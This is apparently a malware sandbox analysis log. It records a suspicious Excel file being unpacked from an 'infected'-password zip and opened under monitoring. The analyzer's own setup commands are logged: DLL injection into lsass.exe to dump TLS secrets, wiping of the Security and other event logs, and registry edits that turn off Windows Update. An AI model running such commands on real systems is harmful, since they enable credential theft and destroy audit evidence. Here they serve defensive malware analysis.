| Category | Package | Started | Completed | Duration | Options | Log(s) | MalScore |
|---|---|---|---|---|---|---|---|
| FILE | 2025-12-08 16:35:56 | 2025-12-08 16:39:19 | 203 seconds | Show Options | Show Analysis Log | 10.0 |
vnc_port=5902
2025-12-06 09:30:10,735 [root] INFO: Date set to: 20251208T08:31:54, timeout set to: 180
2025-12-08 08:31:54,000 [root] DEBUG: Starting analyzer from: C:\tmpu4t32fjj
2025-12-08 08:31:54,000 [root] DEBUG: Storing results at: C:\tltaQBTn
2025-12-08 08:31:54,000 [root] DEBUG: Pipe server name: \\.\PIPE\HtRdQwamH
2025-12-08 08:31:54,000 [root] DEBUG: Python path: C:\Python38
2025-12-08 08:31:54,000 [root] INFO: analysis running as an admin
2025-12-08 08:31:54,000 [root] DEBUG: no analysis package configured, picking one for you
2025-12-08 08:31:54,000 [root] INFO: analysis package selected: "zip"
2025-12-08 08:31:54,000 [root] DEBUG: importing analysis package module: "modules.packages.zip"...
2025-12-08 08:31:54,000 [root] DEBUG: imported analysis package "zip"
2025-12-08 08:31:54,000 [root] DEBUG: initializing analysis package "zip"...
2025-12-08 08:31:54,000 [lib.common.common] INFO: wrapping
2025-12-08 08:31:54,000 [lib.core.compound] INFO: C:\Users\user\AppData\Local\Temp already exists, skipping creation
2025-12-08 08:31:54,000 [root] DEBUG: New location of moved file: C:\Users\user\AppData\Local\Temp\26bd031cb4a5333bbd77.zip
2025-12-08 08:31:54,000 [root] INFO: Analyzer: Package modules.packages.zip does not specify a DLL option
2025-12-08 08:31:54,000 [root] INFO: Analyzer: Package modules.packages.zip does not specify a DLL_64 option
2025-12-08 08:31:54,000 [root] INFO: Analyzer: Package modules.packages.zip does not specify a loader option
2025-12-08 08:31:54,015 [root] INFO: Analyzer: Package modules.packages.zip does not specify a loader_64 option
2025-12-08 08:31:54,046 [root] DEBUG: Imported auxiliary module "modules.auxiliary.browser"
2025-12-08 08:31:54,046 [root] DEBUG: Imported auxiliary module "modules.auxiliary.curtain"
2025-12-08 08:31:54,046 [root] DEBUG: Imported auxiliary module "modules.auxiliary.disguise"
2025-12-08 08:31:54,046 [root] DEBUG: Imported auxiliary module "modules.auxiliary.during_script"
2025-12-08 08:31:54,062 [root] DEBUG: Imported auxiliary module "modules.auxiliary.end_noisy_tasks"
2025-12-08 08:31:54,062 [root] DEBUG: Imported auxiliary module "modules.auxiliary.evtx"
2025-12-08 08:31:54,062 [root] DEBUG: Imported auxiliary module "modules.auxiliary.human"
2025-12-08 08:31:54,062 [root] DEBUG: Imported auxiliary module "modules.auxiliary.pre_script"
2025-12-08 08:31:54,062 [lib.api.screenshot] DEBUG: Importing 'PIL.ImageChops'
2025-12-08 08:31:54,093 [lib.api.screenshot] DEBUG: Importing 'PIL.ImageGrab'
2025-12-08 08:31:54,093 [lib.api.screenshot] DEBUG: Importing 'PIL.ImageDraw'
2025-12-08 08:31:54,109 [root] DEBUG: Imported auxiliary module "modules.auxiliary.screenshots"
2025-12-08 08:31:54,109 [root] DEBUG: Imported auxiliary module "modules.auxiliary.sysmon"
2025-12-08 08:31:54,109 [root] DEBUG: Imported auxiliary module "modules.auxiliary.tlsdump"
2025-12-08 08:31:54,109 [root] DEBUG: Imported auxiliary module "modules.auxiliary.usage"
2025-12-08 08:31:54,109 [root] DEBUG: Initialized auxiliary module "Browser"
2025-12-08 08:31:54,109 [root] DEBUG: attempting to configure 'Browser' from data
2025-12-08 08:31:54,109 [root] DEBUG: module Browser does not support data configuration, ignoring
2025-12-08 08:31:54,109 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.browser"...
2025-12-08 08:31:54,109 [root] DEBUG: Started auxiliary module modules.auxiliary.browser
2025-12-08 08:31:54,109 [root] DEBUG: Initialized auxiliary module "Curtain"
2025-12-08 08:31:54,109 [root] DEBUG: attempting to configure 'Curtain' from data
2025-12-08 08:31:54,109 [root] DEBUG: module Curtain does not support data configuration, ignoring
2025-12-08 08:31:54,109 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.curtain"...
2025-12-08 08:31:54,109 [root] DEBUG: Started auxiliary module modules.auxiliary.curtain
2025-12-08 08:31:54,109 [root] DEBUG: Initialized auxiliary module "Disguise"
2025-12-08 08:31:54,109 [root] DEBUG: attempting to configure 'Disguise' from data
2025-12-08 08:31:54,109 [root] DEBUG: module Disguise does not support data configuration, ignoring
2025-12-08 08:31:54,109 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.disguise"...
2025-12-08 08:31:54,109 [modules.auxiliary.disguise] INFO: Disguising GUID to 7787ec3c-40e1-4ef8-9717-27df25caa438
2025-12-08 08:31:54,109 [root] DEBUG: Started auxiliary module modules.auxiliary.disguise
2025-12-08 08:31:54,109 [root] DEBUG: Initialized auxiliary module "End_noisy_tasks"
2025-12-08 08:31:54,109 [root] DEBUG: attempting to configure 'End_noisy_tasks' from data
2025-12-08 08:31:54,109 [root] DEBUG: module End_noisy_tasks does not support data configuration, ignoring
2025-12-08 08:31:54,109 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.end_noisy_tasks"...
2025-12-08 08:31:54,109 [modules.auxiliary.end_noisy_tasks] DEBUG: taskkill /f /IM wuauclt.exe
2025-12-08 08:31:54,109 [root] DEBUG: Started auxiliary module modules.auxiliary.end_noisy_tasks
2025-12-08 08:31:54,109 [root] DEBUG: Initialized auxiliary module "Evtx"
2025-12-08 08:31:54,109 [root] DEBUG: attempting to configure 'Evtx' from data
2025-12-08 08:31:54,109 [root] DEBUG: module Evtx does not support data configuration, ignoring
2025-12-08 08:31:54,109 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.evtx"...
2025-12-08 08:31:54,109 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Security State Change" /success:enable /failure:enable
2025-12-08 08:31:54,109 [root] DEBUG: Started auxiliary module modules.auxiliary.evtx
2025-12-08 08:31:54,109 [root] DEBUG: Initialized auxiliary module "Human"
2025-12-08 08:31:54,109 [root] DEBUG: attempting to configure 'Human' from data
2025-12-08 08:31:54,109 [root] DEBUG: module Human does not support data configuration, ignoring
2025-12-08 08:31:54,109 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.human"...
2025-12-08 08:31:54,109 [root] DEBUG: Started auxiliary module modules.auxiliary.human
2025-12-08 08:31:54,109 [root] DEBUG: Initialized auxiliary module "Pre_script"
2025-12-08 08:31:54,109 [root] DEBUG: attempting to configure 'Pre_script' from data
2025-12-08 08:31:54,109 [root] DEBUG: module Pre_script does not support data configuration, ignoring
2025-12-08 08:31:54,109 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.pre_script"...
2025-12-08 08:31:54,109 [root] DEBUG: Started auxiliary module modules.auxiliary.pre_script
2025-12-08 08:31:54,109 [root] DEBUG: Initialized auxiliary module "Screenshots"
2025-12-08 08:31:54,109 [root] DEBUG: attempting to configure 'Screenshots' from data
2025-12-08 08:31:54,109 [root] DEBUG: module Screenshots does not support data configuration, ignoring
2025-12-08 08:31:54,109 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.screenshots"...
2025-12-08 08:31:54,125 [root] DEBUG: Started auxiliary module modules.auxiliary.screenshots
2025-12-08 08:31:54,125 [root] DEBUG: Initialized auxiliary module "Sysmon"
2025-12-08 08:31:54,125 [root] DEBUG: attempting to configure 'Sysmon' from data
2025-12-08 08:31:54,125 [root] DEBUG: module Sysmon does not support data configuration, ignoring
2025-12-08 08:31:54,125 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.sysmon"...
2025-12-08 08:31:54,187 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Security System Extension" /success:enable /failure:enable
2025-12-08 08:31:54,218 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"System Integrity" /success:enable /failure:enable
2025-12-08 08:31:54,218 [root] WARNING: Cannot execute auxiliary module modules.auxiliary.sysmon: In order to use the Sysmon functionality, it is required to have the SMaster(64|32).exe file and sysmonconfig-export.xml file in the bin path. Note that the SMaster(64|32).exe files are just the standard Sysmon binaries renamed to avoid anti-analysis detection techniques.
2025-12-08 08:31:54,218 [root] DEBUG: Initialized auxiliary module "TLSDumpMasterSecrets"
2025-12-08 08:31:54,218 [root] DEBUG: attempting to configure 'TLSDumpMasterSecrets' from data
2025-12-08 08:31:54,218 [root] DEBUG: module TLSDumpMasterSecrets does not support data configuration, ignoring
2025-12-08 08:31:54,218 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.tlsdump"...
2025-12-08 08:31:54,218 [modules.auxiliary.tlsdump] INFO: lsass.exe found, pid 392
2025-12-08 08:31:54,218 [lib.api.process] INFO: Monitor config for <Process 392 lsass.exe>: C:\tmpu4t32fjj\dll\392.ini
2025-12-08 08:31:54,218 [lib.api.process] INFO: Option 'tlsdump' with value '1' sent to monitor
2025-12-08 08:31:54,218 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpu4t32fjj\dll\otcZiutY.dll, loader C:\tmpu4t32fjj\bin\jXABFjj.exe
2025-12-08 08:31:54,234 [root] DEBUG: Loader: Injecting process 392 with C:\tmpu4t32fjj\dll\otcZiutY.dll.
2025-12-08 08:31:54,249 [root] DEBUG: 392: Python path set to 'C:\Python38'.
2025-12-08 08:31:54,249 [root] INFO: Disabling sleep skipping.
2025-12-08 08:31:54,249 [root] DEBUG: 392: TLS secret dump mode enabled.
2025-12-08 08:31:54,265 [root] DEBUG: 392: Monitor initialised: 32-bit capemon loaded in process 392 at 0x6c9a0000, thread 3128, image base 0x570000, stack from 0x1006000-0x1010000
2025-12-08 08:31:54,265 [root] DEBUG: 392: Commandline: C:\Windows\system32\lsass.exe
2025-12-08 08:31:54,265 [root] DEBUG: 392: Hooked 5 out of 5 functions
2025-12-08 08:31:54,265 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"IPsec Driver" /success:disable /failure:disable
2025-12-08 08:31:54,281 [root] DEBUG: InjectDllViaThread: Successfully injected Dll into process via RtlCreateUserThread.
2025-12-08 08:31:54,281 [root] DEBUG: Successfully injected DLL C:\tmpu4t32fjj\dll\otcZiutY.dll.
2025-12-08 08:31:54,281 [lib.api.process] INFO: Injected into 32-bit <Process 392 lsass.exe>
2025-12-08 08:31:54,281 [root] DEBUG: Started auxiliary module modules.auxiliary.tlsdump
2025-12-08 08:31:54,281 [root] DEBUG: Initialized auxiliary module "Usage"
2025-12-08 08:31:54,281 [root] DEBUG: attempting to configure 'Usage' from data
2025-12-08 08:31:54,281 [root] DEBUG: module Usage does not support data configuration, ignoring
2025-12-08 08:31:54,281 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.usage"...
2025-12-08 08:31:54,281 [root] DEBUG: Started auxiliary module modules.auxiliary.usage
2025-12-08 08:31:54,281 [root] DEBUG: Initialized auxiliary module "During_script"
2025-12-08 08:31:54,281 [root] DEBUG: attempting to configure 'During_script' from data
2025-12-08 08:31:54,281 [root] DEBUG: module During_script does not support data configuration, ignoring
2025-12-08 08:31:54,281 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.during_script"...
2025-12-08 08:31:54,281 [root] DEBUG: Started auxiliary module modules.auxiliary.during_script
2025-12-08 08:31:54,281 [modules.auxiliary.end_noisy_tasks] DEBUG: taskkill /f /IM wusa.exe
2025-12-08 08:31:54,312 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Other System Events" /success:disable /failure:enable
2025-12-08 08:31:54,359 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Logon" /success:enable /failure:enable
2025-12-08 08:31:54,359 [modules.auxiliary.end_noisy_tasks] DEBUG: taskkill /f /IM WindowsUpdate.exe
2025-12-08 08:31:54,390 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Logoff" /success:enable /failure:enable
2025-12-08 08:31:54,406 [modules.auxiliary.end_noisy_tasks] DEBUG: taskkill /f /IM GoogleUpdate.exe
2025-12-08 08:31:54,406 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Account Lockout" /success:enable /failure:enable
2025-12-08 08:31:54,437 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"IPsec Main Mode" /success:disable /failure:disable
2025-12-08 08:31:54,453 [modules.auxiliary.end_noisy_tasks] DEBUG: taskkill /f /IM MicrosoftEdgeUpdate.exe
2025-12-08 08:31:54,453 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"IPsec Quick Mode" /success:disable /failure:disable
2025-12-08 08:31:54,468 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"IPsec Extended Mode" /success:disable /failure:disable
2025-12-08 08:31:54,484 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Other Logon/Logoff Events" /success:enable /failure:enable
2025-12-08 08:31:54,500 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Network Policy Server" /success:enable /failure:enable
2025-12-08 08:31:54,515 [modules.auxiliary.end_noisy_tasks] DEBUG: Command executed with exit code 0: reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f
2025-12-08 08:31:54,531 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Special Logon" /success:enable /failure:enable
2025-12-08 08:31:54,531 [modules.auxiliary.end_noisy_tasks] DEBUG: Command executed with exit code 0: reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DataCollection" /v AllowTelemetry /t REG_DWORD /d 0 /f
2025-12-08 08:31:54,546 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"File System" /success:enable /failure:enable
2025-12-08 08:31:54,546 [modules.auxiliary.end_noisy_tasks] DEBUG: Command executed with exit code 0: reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" /v EnableICMPRedirect /t REG_DWORD /d 0 /f
2025-12-08 08:31:54,562 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Registry" /success:enable /failure:enable
2025-12-08 08:31:54,578 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Kernel Object" /success:enable /failure:enable
2025-12-08 08:31:54,593 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"SAM" /success:disable /failure:disable
2025-12-08 08:31:54,609 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Certification Services" /success:enable /failure:enable
2025-12-08 08:31:54,625 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Handle Manipulation" /success:disable /failure:disable
2025-12-08 08:31:54,640 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Application Generated" /success:enable /failure:enable
2025-12-08 08:31:54,656 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"File Share" /success:enable /failure:enable
2025-12-08 08:31:54,671 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Filtering Platform Packet Drop" /success:disable /failure:disable
2025-12-08 08:31:54,671 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Filtering Platform Connection" /success:disable /failure:disable
2025-12-08 08:31:54,687 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Other Object Access Events" /success:disable /failure:disable
2025-12-08 08:31:54,703 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Sensitive Privilege Use" /success:disable /failure:disable
2025-12-08 08:31:54,718 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Non Sensitive Privilege Use" /success:disable /failure:disable
2025-12-08 08:31:54,734 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Other Privilege Use Events" /success:disable /failure:disable
2025-12-08 08:31:54,750 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"RPC Events" /success:enable /failure:enable
2025-12-08 08:31:54,765 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Audit Policy Change" /success:enable /failure:enable
2025-12-08 08:31:54,781 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Authentication Policy Change" /success:enable /failure:enable
2025-12-08 08:31:54,796 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"MPSSVC Rule-Level Policy Change" /success:disable /failure:disable
2025-12-08 08:31:54,812 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Filtering Platform Policy Change" /success:disable /failure:disable
2025-12-08 08:31:54,828 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Other Policy Change Events" /success:disable /failure:enable
2025-12-08 08:31:54,843 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"User Account Management" /success:enable /failure:enable
2025-12-08 08:31:54,859 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Computer Account Management" /success:enable /failure:enable
2025-12-08 08:31:54,875 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Security Group Management" /success:enable /failure:enable
2025-12-08 08:31:54,890 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Distribution Group Management" /success:enable /failure:enable
2025-12-08 08:31:54,906 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Application Group Management" /success:enable /failure:enable
2025-12-08 08:31:54,921 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Other Account Management Events" /success:enable /failure:enable
2025-12-08 08:31:54,921 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Directory Service Access" /success:enable /failure:enable
2025-12-08 08:31:54,937 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Directory Service Changes" /success:enable /failure:enable
2025-12-08 08:31:54,953 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Directory Service Replication" /success:disable /failure:enable
2025-12-08 08:31:54,968 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Detailed Directory Service Replication" /success:disable /failure:disable
2025-12-08 08:31:54,984 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Credential Validation" /success:enable /failure:enable
2025-12-08 08:31:55,000 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable
2025-12-08 08:31:55,015 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Other Account Logon Events" /success:enable /failure:enable
2025-12-08 08:31:55,031 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable
2025-12-08 08:31:55,046 [modules.auxiliary.evtx] DEBUG: Wiping Application
2025-12-08 08:31:55,062 [modules.auxiliary.evtx] DEBUG: Wiping HardwareEvents
2025-12-08 08:31:55,078 [modules.auxiliary.evtx] DEBUG: Wiping Internet Explorer
2025-12-08 08:31:55,078 [modules.auxiliary.evtx] DEBUG: Wiping Key Management Service
2025-12-08 08:31:55,093 [modules.auxiliary.evtx] DEBUG: Wiping OAlerts
2025-12-08 08:31:55,109 [modules.auxiliary.evtx] DEBUG: Wiping Security
2025-12-08 08:31:55,125 [modules.auxiliary.evtx] DEBUG: Wiping Setup
2025-12-08 08:31:55,140 [modules.auxiliary.evtx] DEBUG: Wiping System
2025-12-08 08:31:55,156 [modules.auxiliary.evtx] DEBUG: Wiping Windows PowerShell
2025-12-08 08:31:55,156 [modules.auxiliary.evtx] DEBUG: Wiping Microsoft-Windows-Sysmon/Operational
2025-12-08 08:31:59,484 [root] INFO: Restarting WMI Service
2025-12-08 08:32:01,515 [root] DEBUG: package modules.packages.zip does not support configure, ignoring
2025-12-08 08:32:01,515 [root] WARNING: configuration error for package modules.packages.zip: error importing data.packages.zip: No module named 'data.packages'
2025-12-08 08:32:01,515 [lib.common.zip_utils] DEBUG: Archive is encrypted, using default password value: infected
2025-12-08 08:32:01,515 [lib.common.zip_utils] DEBUG: ['C:\\Program Files\\7-Zip\\7z.exe', 'l', 'C:\\Users\\user\\AppData\\Local\\Temp\\26bd031cb4a5333bbd77.zip']
2025-12-08 08:32:01,546 [lib.common.zip_utils] DEBUG: ['C:\\Program Files\\7-Zip\\7z.exe', 'x', '-p', '-y', '-oC:\\Users\\user\\AppData\\Local\\Temp', 'C:\\Users\\user\\AppData\\Local\\Temp\\26bd031cb4a5333bbd77.zip']
2025-12-08 08:32:01,562 [lib.common.zip_utils] DEBUG: b'\r\n7-Zip 22.01 (x86) : Copyright (c) 1999-2022 Igor Pavlov : 2022-07-15\r\n\r\nScanning the drive for archives:\r\n1 file, 14593 bytes (15 KiB)\r\n\r\nExtracting archive: C:\\Users\\user\\AppData\\Local\\Temp\\26bd031cb4a5333bbd77.zip\r\n--\r\nPath = C:\\Users\\user\\AppData\\Local\\Temp\\26bd031cb4a5333bbd77.zip\r\nType = zip\r\nPhysical Size = 14593\r\n\r\n\r\nSub items Errors: 1\r\n\r\nArchives with Errors: 1\r\n\r\nSub items Errors: 1\r\n' b'ERROR: Wrong password : 26bd031cb4a5333bbd77698f5aaf737cb108b4b9d30670d92218a8c31ec0abc7.xls\r\n'
2025-12-08 08:32:01,562 [lib.common.zip_utils] DEBUG: ['C:\\Program Files\\7-Zip\\7z.exe', 'x', '-pinfected', '-y', '-oC:\\Users\\user\\AppData\\Local\\Temp', 'C:\\Users\\user\\AppData\\Local\\Temp\\26bd031cb4a5333bbd77.zip']
2025-12-08 08:32:01,593 [lib.common.zip_utils] DEBUG: b'\r\n7-Zip 22.01 (x86) : Copyright (c) 1999-2022 Igor Pavlov : 2022-07-15\r\n\r\nScanning the drive for archives:\r\n1 file, 14593 bytes (15 KiB)\r\n\r\nExtracting archive: C:\\Users\\user\\AppData\\Local\\Temp\\26bd031cb4a5333bbd77.zip\r\n--\r\nPath = C:\\Users\\user\\AppData\\Local\\Temp\\26bd031cb4a5333bbd77.zip\r\nType = zip\r\nPhysical Size = 14593\r\n\r\nEverything is Ok\r\n\r\nSize: 38400\r\nCompressed: 14593\r\n' b''
2025-12-08 08:32:01,593 [lib.common.zip_utils] INFO: Uploading C:\Users\user\AppData\Local\Temp\26bd031cb4a5333bbd77698f5aaf737cb108b4b9d30670d92218a8c31ec0abc7.xls to host
2025-12-08 08:32:01,593 [lib.common.results] INFO: Uploading file C:\Users\user\AppData\Local\Temp\26bd031cb4a5333bbd77698f5aaf737cb108b4b9d30670d92218a8c31ec0abc7.xls to files/26bd031cb4a5333bbd77698f5aaf737cb108b4b9d30670d92218a8c31ec0abc7; Size is 38400; Max size: 100000000
2025-12-08 08:32:01,593 [modules.packages.zip] DEBUG: Missing file option, auto executing: ['26bd031cb4a5333bbd77698f5aaf737cb108b4b9d30670d92218a8c31ec0abc7.xls']
2025-12-08 08:32:01,593 [lib.core.compound] INFO: C:\Users\user\AppData\Local\Temp already exists, skipping creation
2025-12-08 08:32:01,859 [lib.api.process] INFO: Successfully executed process from path "C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE" with arguments ""C:\Users\user\AppData\Local\Temp\26bd031cb4a5333bbd77698f5aaf737cb108b4b9d30670d92218a8c31ec0abc7.xls" /q" with pid 3016
2025-12-08 08:32:01,859 [lib.api.process] INFO: Monitor config for <Process 3016 EXCEL.EXE>: C:\tmpu4t32fjj\dll\3016.ini
2025-12-08 08:32:01,859 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpu4t32fjj\dll\otcZiutY.dll, loader C:\tmpu4t32fjj\bin\jXABFjj.exe
2025-12-08 08:32:01,875 [root] DEBUG: Loader: Injecting process 3016 (thread 3012) with C:\tmpu4t32fjj\dll\otcZiutY.dll.
2025-12-08 08:32:01,875 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2025-12-08 08:32:01,875 [root] DEBUG: Successfully injected DLL C:\tmpu4t32fjj\dll\otcZiutY.dll.
2025-12-08 08:32:01,906 [lib.api.process] INFO: Injected into 32-bit <Process 3016 EXCEL.EXE>
2025-12-08 08:32:03,906 [lib.api.process] INFO: Successfully resumed <Process 3016 EXCEL.EXE>
2025-12-08 08:32:04,015 [root] DEBUG: 3016: Python path set to 'C:\Python38'.
2025-12-08 08:32:04,015 [root] INFO: Disabling sleep skipping.
2025-12-08 08:32:04,015 [root] DEBUG: 3016: Dropped file limit defaulting to 100.
2025-12-08 08:32:04,093 [root] DEBUG: 3016: Microsoft Office settings enabled.
2025-12-08 08:32:04,093 [root] DEBUG: 3016: Monitor initialised: 32-bit capemon loaded in process 3016 at 0x6c9a0000, thread 3012, image base 0xf90000, stack from 0x126000-0x130000
2025-12-08 08:32:04,093 [root] DEBUG: 3016: Commandline: "C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE" "C:\Users\user\AppData\Local\Temp\26bd031cb4a5333bbd77698f5aaf737cb108b4b9d30670d92218a8c31ec0abc7.xls" /q
2025-12-08 08:32:04,093 [root] DEBUG: 3016: hook_api: Warning - CreateRemoteThreadEx export address 0x764AF98F differs from GetProcAddress -> 0x754EBB18 (KERNELBASE.dll::0xbb18)
2025-12-08 08:32:04,093 [root] DEBUG: 3016: Hooked 434 out of 434 functions
2025-12-08 08:32:04,093 [root] DEBUG: 3016: WoW64 not detected.
2025-12-08 08:32:04,093 [root] INFO: Loaded monitor into process with pid 3016
2025-12-08 08:32:04,500 [root] DEBUG: 3016: DLL loaded at 0x6B4A0000: C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client (0x40d000 bytes).
2025-12-08 08:32:04,500 [root] DEBUG: 3016: DLL loaded at 0x753E0000: C:\Windows\system32\CRYPTBASE (0xc000 bytes).
2025-12-08 08:32:04,546 [root] DEBUG: 3016: DLL loaded at 0x6AF90000: C:\Program Files\Common Files\Microsoft Shared\Office16\mso30win32client (0x504000 bytes).
2025-12-08 08:32:04,609 [root] DEBUG: 3016: DLL loaded at 0x6A610000: C:\Program Files\Common Files\Microsoft Shared\Office16\mso40uiwin32client (0x974000 bytes).
2025-12-08 08:32:04,625 [root] DEBUG: 3016: DLL loaded at 0x73FD0000: C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\gdiplus (0x190000 bytes).
2025-12-08 08:32:04,625 [root] DEBUG: 3016: DLL loaded at 0x73E80000: C:\Windows\system32\dwmapi (0x13000 bytes).
2025-12-08 08:32:04,625 [root] DEBUG: 3016: DLL loaded at 0x6DB40000: C:\Program Files\Common Files\Microsoft Shared\Office16\mso50win32client (0x81000 bytes).
2025-12-08 08:32:04,718 [root] DEBUG: 3016: DLL loaded at 0x69C00000: C:\Program Files\Common Files\Microsoft Shared\Office16\mso98win32client (0xa09000 bytes).
2025-12-08 08:32:04,718 [root] DEBUG: 3016: DLL loaded at 0x73C10000: C:\Windows\system32\WTSAPI32 (0xd000 bytes).
2025-12-08 08:32:04,875 [root] DEBUG: 3016: DLL loaded at 0x686F0000: C:\Program Files\Common Files\Microsoft Shared\Office16\mso (0x1504000 bytes).
2025-12-08 08:32:04,890 [root] DEBUG: 3016: DLL loaded at 0x72CE0000: C:\Windows\system32\msi (0x246000 bytes).
2025-12-08 08:32:04,937 [root] INFO: Added new file to list with pid None and path C:\Users\user\AppData\Local\Temp\{FF52FBBC-972C-4CA0-B2C7-ECB144077D4A} - OProcSessId.dat
2025-12-08 08:32:04,953 [root] DEBUG: 3016: DLL loaded at 0x68180000: C:\Windows\system32\d2d1 (0x347000 bytes).
2025-12-08 08:32:04,968 [root] DEBUG: 3016: DLL loaded at 0x743F0000: C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\Comctl32 (0x19e000 bytes).
2025-12-08 08:32:04,968 [root] DEBUG: 3016: DLL loaded at 0x74170000: C:\Windows\system32\uxtheme (0x40000 bytes).
2025-12-08 08:32:04,968 [root] DEBUG: 3016: DLL loaded at 0x75070000: C:\Windows\system32\WINSTA (0x29000 bytes).
2025-12-08 08:32:04,968 [root] DEBUG: 3016: DLL loaded at 0x6F7A0000: C:\Windows\system32\dxgi (0x4c000 bytes).
2025-12-08 08:32:04,968 [root] DEBUG: 3016: DLL loaded at 0x74960000: C:\Windows\system32\VERSION (0x9000 bytes).
2025-12-08 08:32:04,984 [root] DEBUG: 3016: DLL loaded at 0x75F60000: C:\Windows\system32\setupapi (0x19d000 bytes).
2025-12-08 08:32:04,984 [root] DEBUG: 3016: DLL loaded at 0x755D0000: C:\Windows\system32\CFGMGR32 (0x27000 bytes).
2025-12-08 08:32:04,984 [root] DEBUG: 3016: DLL loaded at 0x757A0000: C:\Windows\system32\DEVOBJ (0x12000 bytes).
2025-12-08 08:32:04,984 [root] DEBUG: 3016: DLL loaded at 0x75630000: C:\Windows\system32\WINTRUST (0x2f000 bytes).
